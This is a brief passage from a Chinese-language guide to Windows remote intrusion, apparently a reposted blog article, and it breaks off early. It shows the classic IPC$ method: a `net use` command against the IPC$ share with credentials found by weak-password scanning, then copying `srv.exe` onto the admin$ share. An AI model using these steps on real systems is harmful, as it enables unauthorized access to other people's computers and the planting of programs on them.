Windows 遠程控制（經典IPC$入侵、psexec類工具、利用WMI遠程入侵、PsRemoting遠程命令執行、使用wmic命令遠程執行）

一、經典IPC$入侵 利用ipc$和默認共享入侵遠程電腦的過程 1. C:\>net use \\127.0.0.1\IPC$ "密碼" /user:"用戶名" 一般通過掃描弱口令來得到管理員帳號和密碼   2. C:\> copy srv.exe \\127.0.0.1\admin$ 先複製srv.exe上去(這裏的$是指admin用戶的c:\winnt\system32\,大家還可以使用c$、

>>阅读原文<<